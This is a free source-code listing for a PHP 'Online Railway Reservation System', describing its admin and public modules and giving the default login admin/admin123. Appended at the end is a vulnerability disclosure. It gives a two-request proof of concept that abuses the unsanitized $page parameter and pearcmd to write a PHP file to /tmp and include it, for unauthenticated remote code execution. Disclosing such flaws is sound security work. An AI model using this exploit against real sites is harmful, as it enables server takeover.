This is a PHP Project entitled Online Railway Reservation System. It is a web-based application that provides an online platform for railway or train station passengers or possible passengers to explore their schedules and reserve a seat. This application does not support any payment API and was developed only for educational purposes to give an idea to the IT/CS students and self-taught programmers about how to develop a web application like this. The application has a pleasant user interface using Bootstrap Framework and AdminLTE Framework. It is easy to use or user-friendly.
I developed this project using the following:
The Simple Online Railway Reservation System has 2 modules which are the Management Side and Public Side. The Management Module is the side of the system where the management can manage the system information, schedules, and reservations. On this side, the admin user can update also the content pages that are shown on the website such as the 'About' and 'Contact' Information Contents. The Public Module serves as the website that can be accessed by visitors or possible passengers. The visitors can read the information about the station, list the schedules, and reserve their seats on their selected schedule. The passenger can submit multiple seat reservations at once.
Management Side
Public Side
Requirements
Installation/Setup
Username: admin
Password: admin123
That's it. You can now explore the features and functionalities of this Online Railway Reservation System in PHP. I hope this project will help you with what you are looking for and you'll find something useful for your future projects.
Explore more on this website for more Free Source Codes and Tutorials.
Note: Due to the size or complexity of this submission, the author has submitted it as a .zip file to shorten your download time. After downloading it, you will need a program like Winzip to decompress it.
Virus note: All files are scanned once-a-day by SourceCodester.com for viruses, but new viruses come out every day, so no prevention program can catch 100% of them.
FOR YOUR OWN SAFETY, PLEASE:
1. Re-scan downloaded files using your personal virus checker before using it.
2. NEVER, EVER run compiled files (.exe's, .ocx's, .dll's etc.)--only run source code.
This cms has an unauthenticated rce vulnerability in the pecl installation, specifically because the index.php parameter does not have good security validation for the $page parameter
the poc is below:
/?+config-create+/&page=/usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/tmp/hello.php
/?page=/tmp/hello
This can later lead to arbitrary command execution